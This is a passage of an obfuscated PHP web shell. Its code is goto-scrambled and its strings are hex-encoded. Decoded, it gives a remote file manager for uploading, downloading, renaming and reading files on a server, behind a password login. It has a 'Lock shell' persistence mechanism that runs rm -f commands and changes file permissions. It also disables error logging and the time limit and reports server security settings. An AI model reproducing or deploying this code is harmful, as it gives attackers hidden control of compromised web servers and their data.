x20\40\x7d\15\xa\40\x20\40\x20\x20\40\x20\x20\x66\165\x6e\143\x74\x69\157\156\x20\x64\x6c\50\x66\51\40\x7b\15\12\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\143\x75\x73\x74\x6f\x6d\106\x65\164\143\x68\x28\x27\47\x2c\x20\173\15\12\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\155\145\164\150\x6f\x64\x3a\40\x22\x50\117\123\x54\x22\x2c\15\12\x20\40\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\150\145\141\144\145\162\163\x3a\x20\173\xd\xa\40\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\40\40\x20\40\40\40\x22\x43\157\x6e\164\x65\x6e\x74\x2d\124\x79\160\x65\x22\x3a\40\42\141\x70\x70\x6c\151\x63\141\x74\151\x6f\x6e\x2f\x78\x2d\167\x77\x77\55\x66\x6f\162\155\55\165\x72\154\x65\x6e\x63\x6f\144\x65\x64\x22\x2c\15\xa\x20\40\x20\40\40\x20\x20\40\40\40\40\40\40\40\x20\40\175\54\xd\xa\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\40\142\157\x64\171\72\40\42\144\x6f\167\x6e\x6c\x6f\x61\144\75\42\x20\53\x20\x65\156\x63\157\144\145\125\x52\111\103\157\x6d\x70\157\156\145\x6e\x74\50\146\51\15\12\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x7d\x29\xd\xa\40\40\40\x20\40\40\40\40\40\40\x20\40\40\x20\x20\x20\56\x74\x68\145\x6e\x28\x72\145\163\x70\x6f\156\163\145\40\x3d\x3e\40\x7b\xd\xa\x20\x20\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x69\146\x20\x28\41\x72\x65\163\160\x6f\x6e\163\x65\x2e\x6f\x6b\51\x20\x7b\xd\12\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\40\40\40\x20\40\x20\40\x20\x74\150\x72\x6f\x77\40\x6e\145\167\x20\105\162\x72\x6f\x72\x28\47\x44\157\167\156\x6c\157\x61\144\x20\x65\x72\x72\x6f\x72\47\51\73\15\12\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\175\xd\12\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\40\40\154\145\164\40\x66\x69\x6c\x65\x6e\141\x6d\x65\40\x3d\40\162\145\x73\x70\x6f\156\x73\x65\x2e\x68\145\141\x64\145\x72\163\56\147\145\x74\x28\x27\103\157\156\x74\x65\x6e\164\55\104\151\x73\x70\157\163\151\164\151\157\156\47\x29\x2e\x73\x70\x6c\x69\164\x28\47\146\x69\x6c\145\156\x61\155\145\x3d\47\x29\x5b\x31\x5d\x3b\xd\xa\xd\12\x20\40\x20\40\40\40\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\162\x65\x74\165\162\x6e\40\162\x65\x73\160\x6f\156\x73\x65\x2e\142\x6c\x6f\142\50\x29\xd\12\40\x20\40\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\56\164\x68\x65\x6e\x28\142\x6c\x6f\x62\40\x3d\x3e\x20\173\xd\xa\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\40\40\40\x20\x6c\145\164\40\144\157\167\x6e\154\x6f\x61\144\114\x69\x6e\x6b\40\75\x20\x64\157\143\x75\155\145\x6e\x74\x2e\143\162\x65\141\164\x65\105\x6c\x65\x6d\x65\156\164\50\47\141\x27\x29\x3b\15\xa\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x64\157\x77\x6e\x6c\x6f\141\x64\x4c\151\x6e\x6b\x2e\150\162\145\x66\40\75\x20\125\122\x4c\x2e\x63\x72\145\141\164\145\117\x62\152\145\x63\x74\125\122\x4c\x28\x62\x6c\157\142\51\73\xd\12\40\40\x20\40\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\x64\157\167\156\154\x6f\141\144\x4c\151\156\x6b\x2e\144\x6f\167\x6e\154\157\141\144\40\75\40\x66\151\x6c\x65\x6e\141\155\145\x3b\xd\12\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x64\157\x77\x6e\x6c\x6f\x61\144\114\151\x6e\153\x2e\143\x6c\x69\x63\153\x28\51\x3b\xd\12\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\175\51\x3b\15\12\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\x7d\51\xd\12\x20\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\56\x63\141\x74\143\150\x28\145\162\162\x6f\162\40\75\x3e\x20\173\xd\xa\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\143\x6f\x6e\163\x6f\154\145\x2e\145\162\162\x6f\x72\50\x27\x45\162\x72\157\162\x3a\x27\x2c\40\145\162\162\157\162\x29\x3b\xd\12\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x7d\51\73\xd\xa\x20\40\40\40\40\40\40\40\x7d\15\12\40\40\x20\x20\40\40\40\40\146\x75\x6e\143\x74\x69\x6f\x6e\40\162\145\156\x28\x66\51\x20\x7b\15\12\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x6c\145\x74\40\156\141\x6d\145\40\x3d\40\x70\x72\157\155\160\164\50\42\x4e\x65\x77\40\x6e\141\x6d\x65\72\x22\x2c\40\x66\x29\x3b\xd\xa\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\x69\146\40\50\x6e\x61\x6d\145\x20\x21\75\75\x20\156\x75\x6c\x6c\x20\x7c\x7c\40\156\x61\155\x65\x2e\x74\162\151\155\50\x29\40\41\75\75\x20\x22\x22\x29\x20\173\xd\xa\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x63\x75\x73\x74\157\x6d\x46\145\x74\143\x68\x28\42\42\54\40\173\15\12\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\x6d\x65\x74\150\157\x64\72\x20\x22\x50\x4f\x53\x54\x22\x2c\xd\12\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\150\x65\x61\144\x65\x72\163\x3a\40\x7b\xd\12\x20\40\40\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\42\x43\x6f\x6e\164\x65\x6e\164\x2d\124\171\160\x65\42\72\40\42\141\x70\160\154\x69\x63\141\x74\x69\x6f\156\x2f\170\x2d\x77\x77\x77\x2d\x66\157\x72\155\55\165\162\154\145\x6e\143\157\x64\145\x64\42\x2c\15\12\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\175\x2c\xd\xa\40\x20\x20\40\x20\40\x20\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\x62\x6f\x64\171\x3a\40\42\x72\145\x6e\141\155\145\75\x22\40\53\40\x66\x20\53\x20\42\x26\x6e\x65\167\75\x22\x20\x2b\x20\x6e\x61\155\x65\xd\xa\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x7d\51\xd\12\x20\40\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\40\x20\40\56\x74\x68\145\x6e\50\162\x65\x73\x70\x6f\x6e\x73\x65\x20\75\76\40\162\x65\x73\160\x6f\x6e\163\145\x2e\152\163\157\x6e\50\x29\51\xd\12\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\40\40\x2e\164\150\145\156\50\144\x61\164\x61\40\75\x3e\x20\x7b\15\xa\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x64\157\143\x75\155\145\x6e\164\56\147\145\164\x45\154\145\155\x65\x6e\164\102\171\111\x64\x28\x22\146\x6d\x22\51\x2e\151\x6e\x6e\145\x72\110\x54\115\x4c\40\75\x20\144\141\164\x61\56\157\x75\164\x70\165\x74\73\xd\xa\x20\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\40\40\40\x20\40\40\x20\x20\165\x70\x64\141\x74\145\120\141\x74\150\50\x64\141\x74\x61\56\144\x69\162\51\xd\12\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\x7d\51\xd\xa\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\56\x63\141\x74\143\150\50\x65\162\162\x6f\x72\40\x3d\x3e\x20\x7b\15\xa\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x61\x6c\145\x72\x74\50\x22\105\162\162\157\162\42\51\x3b\15\12\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\175\51\x3b\15\12\x20\x20\40\40\40\40\40\40\40\x20\40\x20\x7d\15\12\x20\x20\40\x20\40\40\x20\40\175\15\12\x20\x20\40\x20\40\x20\40\40\146\165\156\143\x74\151\157\x6e\40\165\x70\x28\x66\x69\154\x65\51\40\173\xd\12\xd\xa\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\151\x66\x20\x28\41\x66\151\x6c\145\51\40\x7b\15\12\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\141\x6c\x65\162\164\50\47\106\151\x6c\145\x20\x6e\157\164\40\x73\145\154\x65\x63\x74\145\144\47\51\x3b\15\12\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\x20\40\40\x72\145\x74\165\162\156\73\xd\xa\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x7d\xd\12\xd\12\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x63\x6f\x6e\163\164\40\146\x6f\162\155\x44\141\164\x61\x20\x3d\40\x6e\x65\167\x20\106\x6f\x72\x6d\104\141\164\141\x28\51\x3b\xd\xa\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\146\x6f\162\x6d\x44\x61\x74\x61\x2e\x61\x70\160\145\x6e\144\x28\x27\x66\151\x6c\145\x27\54\x20\x66\151\154\145\x29\73\xd\12\x20\x20\x20\x20\40\40\40\40\x20\40\40\40\143\165\x73\164\x6f\x6d\x46\145\x74\143\x68\50\47\47\54\x20\173\xd\12\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\x20\40\40\155\145\164\x68\x6f\x64\72\40\47\x50\x4f\123\x54\47\x2c\xd\xa\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\x62\x6f\144\171\72\40\146\157\x72\155\104\141\x74\x61\15\12\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\175\x29\xd\12\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\x20\56\x74\150\145\156\50\162\x65\163\160\157\156\163\x65\x20\x3d\x3e\x20\162\x65\163\x70\x6f\x6e\163\x65\x2e\x6a\x73\157\156\50\x29\51\xd\xa\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x2e\164\x68\x65\156\x28\144\x61\164\141\x20\75\x3e\x20\173\15\xa\40\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\x61\154\x65\162\164\x28\x27\x73\x75\x63\x63\x65\x73\163\x27\x29\73\15\xa\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\x64\157\143\x75\155\x65\156\164\x2e\x67\145\164\x45\x6c\x65\x6d\x65\x6e\x74\102\x79\x49\144\x28\42\146\x6d\x22\x29\56\x69\156\156\145\x72\110\124\115\114\40\x3d\x20\144\141\164\x61\56\x6f\165\x74\160\x75\x74\73\xd\12\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\175\51\15\xa\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\40\x20\x20\40\56\143\141\164\143\150\50\x65\162\162\x6f\x72\40\x3d\76\x20\x7b\15\12\40\40\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x61\154\145\162\164\50\x27\125\160\x6c\x6f\x61\x64\x20\x65\x72\x72\157\162\x27\51\73\15\12\40\40\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\x7d\51\x3b\xd\12\x20\x20\40\40\x20\x20\x20\40\x7d\xd\12\xd\12\x20\40\x20\x20\x20\40\40\x20\x66\165\x6e\143\x74\x69\157\156\40\x73\164\x61\162\x74\106\145\164\143\x68\50\51\40\173\15\xa\40\40\x20\40\40\x20\x20\40\40\x20\40\x20\x64\157\x63\x75\155\x65\156\164\x2e\147\x65\x74\105\x6c\145\155\x65\156\x74\x42\x79\111\x64\x28\42\157\166\145\162\x6c\x61\171\42\x29\x2e\x63\154\141\163\x73\114\151\163\x74\x2e\141\x64\x64\x28\x22\x73\x68\157\167\42\x29\x3b\15\12\40\x20\40\x20\40\40\x20\40\x7d\15\xa\xd\12\40\x20\x20\x20\40\x20\40\40\x66\165\x6e\x63\164\x69\x6f\156\40\x65\156\x64\x46\145\164\x63\150\50\51\x20\x7b\15\12\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x64\x6f\x63\165\x6d\x65\x6e\x74\56\x67\145\x74\105\x6c\x65\155\x65\156\164\102\x79\111\x64\50\42\157\166\x65\x72\154\141\x79\42\51\x2e\143\x6c\141\163\163\114\x69\x73\x74\56\x72\145\155\157\166\145\50\x22\163\150\157\167\x22\x29\73\xd\xa\x20\40\x20\40\40\x20\x20\40\x7d\15\12\15\12\x20\x20\40\x20\40\x20\40\x20\x66\x75\x6e\143\164\151\x6f\156\x20\x63\165\163\x74\157\x6d\x46\x65\164\x63\x68\x28\x75\x72\154\x2c\x20\x6f\x70\164\x69\157\156\163\x29\40\x7b\15\xa\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\x73\164\x61\162\x74\x46\145\x74\x63\150\x28\x29\xd\12\40\40\40\40\x20\x20\40\40\40\x20\x20\40\x72\x65\x74\x75\162\x6e\x20\x66\145\164\x63\x68\x28\x75\162\x6c\x2c\40\157\160\x74\x69\x6f\x6e\x73\51\15\xa\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\40\40\x20\56\164\x68\x65\x6e\50\x72\145\163\160\x6f\156\163\145\40\75\76\x20\x7b\xd\12\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\40\x65\156\x64\106\x65\x74\143\150\50\51\15\xa\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\40\40\162\x65\164\165\x72\156\40\x72\x65\x73\160\x6f\x6e\x73\x65\x3b\15\xa\x20\x20\40\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\x7d\x29\xd\12\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\56\x63\x61\x74\143\x68\50\145\x72\x72\x6f\x72\x20\75\76\x20\x7b\15\xa\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\40\145\x6e\144\106\x65\x74\x63\x68\x28\51\xd\xa\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\x74\x68\162\157\167\40\x65\x72\162\x6f\162\73\xd\xa\40\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x7d\x29\73\15\xa\x20\x20\x20\40\40\40\x20\40\175\15\xa\x20\x20\40\x20\40\40\x20\x20\x66\165\x6e\143\x74\x69\x6f\x6e\x20\163\x74\x72\151\156\147\124\x6f\125\156\x69\x63\x6f\144\145\x28\151\156\160\165\164\123\164\x72\x69\156\147\x29\40\173\xd\xa\x20\40\x20\x20\40\40\40\40\40\40\x20\x20\154\x65\x74\40\165\156\151\143\157\144\145\101\162\x72\141\x79\40\x3d\x20\133\135\73\15\xa\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\146\157\162\x20\x28\154\x65\164\x20\x69\x20\x3d\40\60\73\x20\x69\40\74\x20\x69\x6e\160\165\x74\x53\164\x72\151\x6e\x67\x2e\154\145\156\147\x74\x68\x3b\x20\x69\53\53\51\40\173\xd\xa\x20\40\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\40\x20\x6c\145\164\40\x63\150\141\162\x43\x6f\x64\145\x20\x3d\x20\151\x6e\x70\x75\x74\x53\164\162\x69\156\x67\56\143\x68\x61\x72\103\x6f\x64\145\x41\x74\x28\151\x29\x3b\15\xa\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\165\x6e\x69\x63\x6f\x64\x65\x41\162\162\x61\171\x2e\x70\x75\x73\150\x28\143\150\x61\162\103\157\x64\x65\51\73\15\xa\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\175\xd\12\x20\40\40\40\40\40\40\40\x20\x20\x20\40\162\145\x74\165\162\156\x20\x75\x6e\151\143\x6f\x64\x65\101\162\x72\x61\171\x3b\xd\12\40\x20\40\x20\x20\40\40\x20\175\xd\xa\x20\40\40\40\x3c\57\x73\x63\162\x69\160\x74\76\xd\xa"; goto O827109314965726; O537148145519376: O389723884157070: goto O982792210776324; O307102451497013: echo @phpversion(); goto O855026727856210; O575318681893644: echo "\x22\40\x63\x6c\x61\163\x73\x3d\x22\154\x69\x6e\x6b\x22\40\151\144\x3d\x22\x6c\157\143\x6b\42\40\x6f\156\x63\x6c\x69\x63\x6b\75\42\x6c\143\x6b\50\x29\x22\76\114\157\x63\153\40\163\x68\145\x6c\154\x3c\57\142\x75\164\164\157\156\x3e\15\12\40\x20\40\x20\x20\x20\40\40\x3c\x62\x75\x74\x74\x6f\156\x20\164\171\160\x65\75\42\x62\x75\x74\x74\x6f\x6e\x22\x20\x73\x74\x79\x6c\x65\x3d\x22\x64\151\163\160\154\141\171\x3a\x20"; goto O572807631499805; O044296560658669: if ($O242247846642569) {
goto O389723884157070;
} goto O859136064133309; O519862898865781: function O905604811681373()
{
goto O831458340744255;
O831458340744255: $O376031804098687["\144\151\x72"] = $_SESSION["\x66\x6d\104\151\162\x65\x63\x74\157\x72\x79"];
goto O363252931844629;
O407161753909692: return json_encode($O376031804098687);
goto O336118863584629;
O363252931844629: $O376031804098687["\157\165\164\160\x75\x74"] = O480521024950907();
goto O407161753909692;
O336118863584629:
} goto O743153915458711; O038162025129928: O905867729339988: goto O468894664186896; O259104350573688: if (!(strpos($O698581543278162, "\x2f") !== 0)) {
goto O262523287231222;
} goto O327708669073100; O748914560001709: goto O619372642402679; goto O537148145519376; O264466498060221: O478773060659652: goto O925443183074068; O599554594623212: echo o905604811681373(); goto O904838533568434; O426901554502196: goto O646652002912405; goto O334046266336158; O401987386928850: if (!file_exists(sys_get_temp_dir()."\167\145\x62\x64\151\x72\63\61\62\57".md5($_SERVER["\123\103\122\x49\x50\x54\137\x46\x49\114\105\x4e\101\115\105"]))) {
goto O199279032208890;
} goto O125867296293522; O249514487617269: die; goto O766202748636940; O743072877402723: $O698581543278162 = $_POST["\x66\x6d\x5f\x70\141\x74\x68"]; goto O477394734953859; O760582427057254: O619372642402679: goto O522349504105599; O753269319368120: header("\x43\157\x6e\x74\145\x6e\x74\55\124\x79\x70\x65\x3a\x20\141\x70\x70\x6c\x69\143\141\164\151\x6f\x6e\57\152\163\157\x6e"); goto O828688341785830; O407820720978259: $O198938718585654 = extension_loaded("\160\x64\157\x5f\x70\x67\x73\x71\154") || extension_loaded("\x70\x64\157\x5f\x6d\171\163\x71\x6c"); goto O857240677958789; O296594270706592: @set_time_limit(0); goto O189905082932233; O864358131318053: header("\103\157\x6e\x74\145\x6e\x74\55\x54\171\x70\x65\x3a\x20\141\x70\x70\x6c\151\x63\x61\164\151\x6f\156\57\152\x73\157\x6e"); goto O264318935408816; O241330730160544: die; goto O719342434001319; O242288640532785: echo "\74\x2f\144\x69\x76\x3e\xd\xa\x20\40\40\x20\40\x20\40\40\x3c\x64\x69\x76\x3e\x4d\171\x53\x51\114\x3a\40"; goto O053172286737580; O650792284916056: echo "\40\40\40\x20\74\144\x69\x76\40\163\164\171\x6c\145\x3d\42\x70\157\163\151\164\x69\x6f\x6e\x3a\40\141\x62\x73\157\x6c\x75\x74\145\x3b\164\x6f\x70\x3a\x20\x35\x30\x25\73\x6c\145\x66\164\x3a\40\65\x30\45\73\x74\x72\141\x6e\x73\146\157\x72\x6d\72\x20\164\162\141\156\x73\154\x61\x74\145\x28\x2d\x35\x30\x25\x2c\x20\x2d\65\x30\45\51\x3b\42\76\15\12\40\x20\x20\40\x20\40\40\40\74\x66\157\x72\155\x20\x6d\145\x74\x68\x6f\x64\75\42\x70\x6f\163\x74\x22\x3e\xd\12\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x3c\151\156\x70\165\x74\40\x74\x79\160\145\75\x22\x70\x61\163\163\x77\157\x72\144\x22\40\x6e\x61\x6d\145\x3d\42\160\141\x73\x73\x77\157\162\144\42\40\x73\x74\x79\x6c\x65\x3d\x22\155\x61\162\147\x69\x6e\x2d\x6c\x65\x66\164\72\x20\141\165\164\x6f\x3b\40\x6d\x61\162\x67\x69\156\x2d\162\x69\x67\x68\164\72\x20\x61\165\164\x6f\73\x22\x3e\xd\12\40\x20\40\x20\x20\x20\40\40\74\x2f\146\x6f\x72\x6d\x3e\15\xa\40\40\x20\x20\74\x2f\144\x69\x76\76\15\xa\40\x20\40\40"; goto O605172692796763; O507712957583178: echo O480521024950907(); goto O896380782353290; O660751263798720: die; goto O716795232145085; O757801578491887: die; goto O748914560001709; O924556442611719: echo o304804334888247(@ini_get(strtoupper("\163\x61\146\x65\137\x6d\x6f\x64\x65") === "\117\x4e")); goto O347987534611379; O155756146913622: if ($_SERVER["\122\105\x51\x55\105\x53\124\x5f\x4d\x45\x54\x48\117\104"] == "\x50\117\123\124") {
goto O398455420374330;
} goto O761791399458035; O334046266336158: O650383758337268: goto O368052227118561; O896789649806487: @ini_set("\154\x6f\147\x5f\x65\162\x72\x6f\x72\x73", 0); goto O710116777090250; O346468796548056: $_SESSION["\146\155\104\x69\162\145\143\164\x6f\x72\171"] = O501518105005324(); goto O509253786593473; O412414238483226: @rename($_SESSION["\146\155\104\151\162\x65\143\164\157\162\171"]."\x2f".$O228630402481115, $_SESSION["\x66\x6d\104\x69\x72\x65\143\x74\157\x72\x79"]."\57".$O125675124828290); goto O038162025129928; O696274307325915: O490549161625156: goto O596556901678039; O245426740951091: function o810496288220638($O121628722760153)
{
goto O092466282763905;
O035267867023824: O612533646310026: goto O286403805319335;
O286403805319335: if (function_exists("\160\x6f\x73\x69\x78\x5f\x67\x65\x74\160\x77\x75\151\x64")) {
goto O260699112775297;
}
goto O222966006765250;
O957391802192448: O260699112775297: goto O044332969210866;
O222966006765250: return $O121628722760153;
goto O510444211247742;
O191014658029679: $O730252784401428 = @posix_getpwuid($O121628722760153);
goto O604480302375371;
O643910295767725: if (!function_exists("\160\x6f\163\x69\x78\137\x67\145\x74\145\x67\x69\144")) {
return @get_current_user();
}
goto O035267867023824;
O092466282763905: if (isset($O121628722760153)) {
goto O612533646310026;
}
goto O643910295767725;
O604480302375371: $O125675124828290->name = is_array($O730252784401428) ? $O730252784401428["\156\x61\155\x65"] : '';
goto O804352204748786;
O044332969210866: $O125675124828290 = new stdClass();
goto O191014658029679;
O804352204748786: return $O125675124828290->name;
goto O025388137026414;
O025388137026414: O083026492330598: goto O908588205344368;
O510444211247742: goto O083026492330598;
goto O957391802192448;
O908588205344368:
} goto O311399385145641; O097513066113884: die; goto O205088416771080; O079724665713491: echo "\x3c\x2f\x70\x3e\15\xa\40\40\40\40\x20\x20\x20\x20\74\57\144\151\x76\76\xd\xa\x20\x20\x20\40\x3c\x2f\x64\151\166\x3e\xd\12\x20\x20\40\x20\x3c\x64\151\166\40\151\144\75\42\64\155\x6f\x64\x61\x6c\x22\x3e\x3c\x2f\x64\151\166\76\15\12\x20\x20\x20\40\74\x73\143\x72\151\160\x74\x3e\xd\12\x20\40\x20\x20\x20\x20\x20\40\x6c\x65\x74\40\155\157\144\141\x6c\x20\75\x20\144\x6f\x63\165\155\x65\156\x74\56\x67\x65\x74\105\x6c\145\x6d\145\x6e\164\x42\171\111\x64\50\42\155\x6f\x64\x61\154\42\x29\73\15\xa\x20\40\40\40\x20\40\40\40\144\x6f\143\x75\x6d\145\x6e\164\56\x61\144\144\x45\166\145\156\164\x4c\x69\x73\164\x65\156\x65\162\x28\x22\104\x4f\x4d\103\x6f\x6e\x74\x65\156\x74\x4c\157\x61\x64\145\x64\x22\x2c\x20\146\x75\156\143\x74\151\x6f\x6e\50\x29\40\173\xd\xa\xd\12\40\40\40\x20\40\x20\40\x20\x20\x20\40\x20\x75\160\144\x61\x74\145\120\141\x74\150\50\x22"; goto O675873034429257; O777922622481211: O315101661512726: goto O653025071284283; O821667233650474: http_response_code(400); goto O072944446985046; O108782639135069: header("\103\157\156\164\145\156\164\55\x54\162\x61\156\x73\x66\145\x72\55\105\156\x63\x6f\144\x69\156\x67\x3a\x20\142\151\156\141\x72\x79"); goto O504437710077602; O083050321032146: die; goto O812423394010006; O778488552058858: echo O304804334888247($O175966312706197); goto O242288640532785; O036161061365307: if (!(!empty($O075504229385412) && !$_SESSION["\154\x6f\147\x67\x65\144"])) {
goto O677399710667651;
} goto O458608821081133; O477394734953859: $O342485799325228 = $_POST["\x63\162\x65\x61\x74\145\x5f\144\151\x72"]; goto O678873946475361; O622488211135459: if (strpos($O837213299817540, "\x63\x64") === 0) {
goto O449069575542494;
} goto O557003354705756; O605172692796763: O675216537508714: goto O560097982476935; O325085584214381: http_response_code(302); goto O834996516422955; O759708205073031: echo O321385932685852(); goto O542978688866867; O368052227118561: goto O646652002912405; goto O664223211933071; O887349237489306: function o181685232555906()
{
goto O196938004356271;
O174444891998721: o363302479115642("\162\155\x20\x2d\146\40".$_SESSION["\154\157\x63\153"]."\x20\46\46\x20\162\x6d\x20\x2d\x66\40".$_SESSION["\x6c\x6f\143\x6b"]."\x2e\x62\141\153");
goto O195083844188940;
O837045933143770: http_response_code(400);
goto O695077766503838;
O024652284552472: $O330733878821214 = $_SERVER["\123\103\x52\x49\120\124\137\106\111\x4c\105\x4e\x41\115\x45"];
goto O174444891998721;
O053483827661152: O396888878998611: goto O428261778665296;
O062594598499583: chmod($O715829310249594, 0775);
goto O342325556836102;
O195083844188940: if (!file_exists($_SESSION["\154\157\x63\153"])) {
goto O396888878998611;
}
goto O837045933143770;
O428261778665296: unset($_SESSION["\x6c\157\x63\153"]);
goto O472116560089631;
O342325556836102: O627589856191937: goto O235727551588223;
O196938004356271: $O715829310249594 = __DIR__;
goto O024652284552472;
O472116560089631: chmod($O330733878821214, 0664);
goto O062594598499583;
O398898032045567: goto O627589856191937;
goto O053483827661152;
O695077766503838: die;
goto O398898032045567;
O235727551588223:
} goto O713134478849886; O189905082932233: @clearstatcache(); goto O075053313546959; O309738216111402: if (isset($_FILES["\146\151\x6c\145"]) && $_FILES["\x66\x69\x6c\x65"]["\x65\162\x72\x6f\162"] === UPLOAD_ERR_OK) {
goto O819059339238447;
} goto O074652155827069; O311399385145641: function o638526641521669($O750041651270743)
{
goto O573714941840322;
O718392667582158: $O066306455253030 = '';
goto O190911388471641;
O157513826050351: O179279854654098: goto O155043450440896;
O573714941840322: $O750041651270743 = explode("\x2c", $O750041651270743);
goto O718392667582158;
O155043450440896: return $O066306455253030;
goto O026976264022694;
O190911388471641: foreach ($O750041651270743 as $O147340180548366) {
goto O883103101562253;
O411553470284163: O534891922412191: goto O426659107512984;
O352438082693486: $O066306455253030 .= mb_convert_encoding("\x26\43".intval($O147340180548366)."\73", "\x55\124\x46\55\x38", "\x48\124\x4d\x4c\55\x45\x4e\x54\111\124\x49\x45\x53");
goto O839392312748008;
O466998974950937: O928071041728604: goto O794507326654824;
O839392312748008: goto O534891922412191;
goto O466998974950937;
O794507326654824: $O066306455253030 .= chr($O147340180548366);
goto O411553470284163;
O426659107512984: O737624085678200: goto O347087989332047;
O883103101562253: if ($O147340180548366 < 128) {
goto O928071041728604;
}
goto O352438082693486;
O347087989332047:
}
goto O157513826050351;
O026976264022694:
} goto O134452145981718; O710143463698425: die; goto O475737012313458; O157771063023370: O262523287231222: goto O877549021552858; O599012978300769: @touch($O242247846642569, $O016699321966605); goto O676281584239985; O985389906263146: @readfile($_SESSION["\146\x6d\104\151\x72\145\143\x74\x6f\x72\171"]."\57".$O444244484811129); goto O583569576009201; O229493648790792: header("\103\157\x6e\x74\145\x6e\x74\x2d\124\171\160\145\x3a\x20\141\160\x70\x6c\151\143\141\x74\x69\x6f\156\57\x6a\163\x6f\156"); goto O928227793465531; O090100331961244: O050949301784939: goto O821667233650474; O600300636853319: echo @ini_get("\144\x69\163\x61\x62\x6c\145\x5f\x66\x75\x6e\x63\164\x69\x6f\x6e\x73") != false ? @ini_get("\x64\151\163\x61\x62\154\x65\x5f\x66\165\x6e\x63\x74\151\157\156\163") : O304804334888247(false); goto O479631428339949; 